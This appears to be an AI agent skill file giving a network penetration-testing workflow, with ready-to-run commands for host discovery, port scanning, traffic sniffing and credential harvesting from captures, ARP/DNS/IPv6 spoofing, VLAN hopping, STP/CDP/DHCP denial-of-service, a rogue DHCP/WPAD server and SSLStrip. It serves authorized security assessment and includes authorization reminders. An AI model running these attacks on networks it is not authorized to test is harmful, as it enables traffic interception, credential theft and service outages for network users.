Network Pentest

Network Pentesting Skill

A comprehensive skill for conducting network security assessments and penetration tests. This skill provides structured methodologies for network discovery, scanning, and attack techniques.

Before You Start

Important: Always ensure you have proper authorization before performing any network security testing. Unauthorized network scanning or attacks may be illegal.

Workflow Overview

1. Reconnaissance - Discover hosts and services
2. Scanning - Identify open ports and services
3. Enumeration - Gather detailed information
4. Exploitation - Test vulnerabilities (if authorized)
5. Documentation - Record findings

Phase 1: Network Discovery

External Discovery (From Internet)

When you need to discover hosts from outside a network:

ICMP Discovery (Fastest)

# Single host
ping -c 1 <IP>

# Range scan
fping -g <network>/24

# Advanced ICMP types (bypasses some filters)
nmap -PE -PM -PP -sn -n <network>/24

TCP Port Discovery

When ICMP is filtered, scan common ports:

# Masscan for speed (top 20 ports, <5 min for /24)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 <network>/24

# HTTP-focused
masscan -p80,443,8000-8100,8443 <network>/24

UDP Discovery

# Nmap with version detection
nmap -sU -sV --version-intensity 0 -F -n <network>/24

# Fast UDP scanner (1 min for /24)
./udp-proto-scanner.pl <network>/24

Internal Discovery (From Inside Network)

Passive Discovery

# ARP cache monitoring
netdiscover -p

# Traffic analysis
p0f -i <interface> -p -o /tmp/p0f.log

# Bettercap passive
net.recon on
net.show
set net.show.meta true

Active Discovery

# ARP scan
nmap -sn <network>
netdiscover -r <network>

# NetBIOS discovery
nbtscan -r <network>

# Bettercap active probing
net.probe on
set net.probe.mdns true
set net.probe.nbns true
set net.probe.upnp true
set net.probe.wsd true

# IPv6 discovery
alive6 <interface>

Wake-on-LAN

# Bettercap WOL
wol.eth [MAC]  # Raw ethernet packet
wol.udp [MAC]  # UDP broadcast to port 9

Phase 2: Port Scanning

TCP Scanning

# Fast scan (top 1000 ports)
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>

# Full port scan (all 65535 ports)
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>

# Slower full scan (avoid failures)
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>

# Bettercap SYN scan
syn.scan <network> 1 10000

UDP Scanning

# Common UDP services
udp-proto-scanner.pl <IP>

# Top 100 UDP ports
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>

# With default scripts
nmap -sU -sV -sC -n -F -T4 <IP>

# Top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>

SCTP Scanning

# Fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>

# Full SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>

Phase 3: Network Sniffing

TCPDump

# DNS traffic
sudo tcpdump -i <interface> udp port 53

# ICMP traffic
tcpdump -i <interface> icmp

# HTTP/HTTPS to file (rotate every 5 min)
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"

# Remote capture via SSH
ssh user@<IP> tcpdump -i <interface> -U -s0 -w - | sudo wireshark -k -i -

Bettercap Sniffing

net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap
set net.sniff.local false
set net.sniff.filter "not arp"

Credential Capture

# Parse credentials from pcap
git clone https://github.com/lgandx/PCredz
cd PCredz && ./PCredz.py <capture.pcap>

Phase 4: LAN Attacks

ARP Spoofing

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Bettercap
arp.spoof on
set arp.spoof.targets <IP>
set arp.spoof.fullduplex true
set arp.spoof.internal true

# Arpspoof (two terminals)
arpspoof -t <gateway> <victim>
arpspoof -t <victim> <gateway>

VLAN Attacks

DTP Trunking Attack

# Install Yersinia
apt-get install yersinia

# Interactive mode
yersinia -I
# Select interface, then 'g' for protocol, 'x' for attack

# DTP hijacking
sudo python3 DTPHijacking.py --interface <interface>

VLAN Interface Creation

# Load module and create VLAN interface
modprobe 8021q
vconfig add <interface> <VLAN_ID>

# Get IP via DHCP
dhclient <interface>.<VLAN_ID>

# Or set static IP
ifconfig <interface>.<VLAN_ID> <IP> netmask 255.255.255.0 up

# Scan the VLAN
arp-scan -I <interface>.<VLAN_ID> <network>/24

Double Tagging Attack

# Using Scapy
from scapy.all import *
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='<victim>')/ICMP()
sendp(packet)

STP Attacks

# BPDU DoS
yersinia stp -attack 2  # Topology Change Notification
yersinia stp -attack 3  # Configuration BPDUs

# CAM table flush
yersinia stp -attack 1  # Send TCP packet

# Root bridge attack
yersinia stp -attack 4  # Become root switch
yersinia stp -attack 6  # DoS (layer 2 packets not forwarded)

CDP Attacks

# Passive collection (sniff CDP packets)
# Use Wireshark, tcpdump, or Yersinia

# CDP DoS (flood fake devices)
yersinia cdp -attack 1

# CDP impersonation
yersinia cdp -attack 2  # Simulate new Cisco device
yersinia cdp -attack 0  # Send CDP packet

DHCP Attacks

# DHCP enumeration
nmap --script broadcast-dhcp-discover

# DHCP DoS
yersinia dhcp -attack 1  # Exhaust IP pool
yersinia dhcp -attack 3  # Release all IPs

# Rogue DHCP server
python /usr/share/responder/DHCP.py \
  -i <your_ip> \
  -r <real_gateway> \
  -p <your_dns> \
  -n 255.255.255.0 \
  -I <interface> \
  -w "http://<your_ip>/wpad.dat" \
  -S -R

Phase 5: Spoofing Attacks

DNS Spoofing

# Bettercap
set dns.spoof.hosts ./dns.spoof.hosts
dns.spoof on

# Dnsmasq
apt-get install dnsmasq
echo "addn-hosts=dnsmasq.hosts" > dnsmasq.conf
echo "127.0.0.1   domain.example.com" > dnsmasq.hosts
sudo dnsmasq -C dnsmasq.conf --no-daemon

ICMP Redirect

# Using hping3
hping3 <victim> -C 5 -K 1 \
  -a <gateway> \
  --icmp-gw <attacker> \
  --icmp-ipdst <destination> \
  --icmp-ipsrc <victim>

IPv6 Spoofing

# Neighbor spoofing
sudo parasite6 -l <interface>
sudo fake_advertise6 -r -w 2 <interface> <router_ipv6>

# Router advertisement spoofing
sysctl -w net.ipv6.conf.all.forwarding=1
ip route add default via <router_ipv6> dev <interface>
fake_router6 <interface> <fe80_address>/16

# DHCPv6 spoofing
dhcp6.spoof on
dhcp6.spoof.domains <domains>
mitm6

Phase 6: Internet Attacks

SSLStrip

# Install and configure
apt-get install sslstrip

# Start sslstrip
sslstrip -w /tmp/sslstrip.log --all -l 10000 -f -k

# Redirect HTTP traffic
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT

Note: SSLStrip is largely ineffective against modern browsers with HSTS preloading. Consider sslStrip+ or dns2proxy for HSTS bypass (still limited effectiveness).

Phase 7: Bluetooth Attacks

L2CAP/ATT/GATT Testing

# Using BlueBlue framework
from blueblue import *

acl = ACLConnection(src_bdaddr, dst_bdaddr, auth_mode='justworks')
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=672)
gatt.send_frag(p8(GATT_READ)+p16(1234))
print(gatt.recv())

Documentation Template

Always document your findings:

# Network Security Assessment Report

## Target Information
- Network Range: <range>
- Date: <date>
- Assessor: <name>

## Discovery Results
### Live Hosts
| IP | MAC | Hostname | Status |
|----|-----|----------|--------|
| <IP> | <MAC> | <hostname> | <status> |

### Open Ports
| IP | Port | Service | Version |
|----|------|---------|--------|
| <IP> | <port> | <service> | <version> |

## Vulnerabilities Found
1. <vulnerability>
   - Severity: <critical/high/medium/low>
   - Description: <details>
   - Evidence: <proof>
   - Remediation: <recommendation>

## Attack Results
- ARP Spoofing: <success/fail>
- VLAN Hopping: <success/fail>
- DHCP Spoofing: <success/fail>

## Recommendations
1. <recommendation>
2. <recommendation>

Tool Quick Reference

Safety Reminders

1. Authorization: Always have written permission before testing
2. Scope: Stay within agreed network boundaries
3. Timing: Avoid production hours for disruptive tests
4. Backup: Document network state before attacks
5. Legal: Understand local laws regarding network testing
6. Cleanup: Restore network to original state after testing

When to Use This Skill

Use this skill when:

• User mentions network security testing or penetration testing
• User needs to discover hosts on a network
• User wants to scan ports or enumerate services
• User is conducting a security assessment
• User mentions specific attack techniques (ARP spoofing, VLAN attacks, etc.)
• User needs documentation templates for security findings
• User asks about network reconnaissance tools
• User mentions network protocols in a security context (CDP, STP, DHCP, etc.)

This skill provides the methodology, commands, and best practices for professional network security assessments.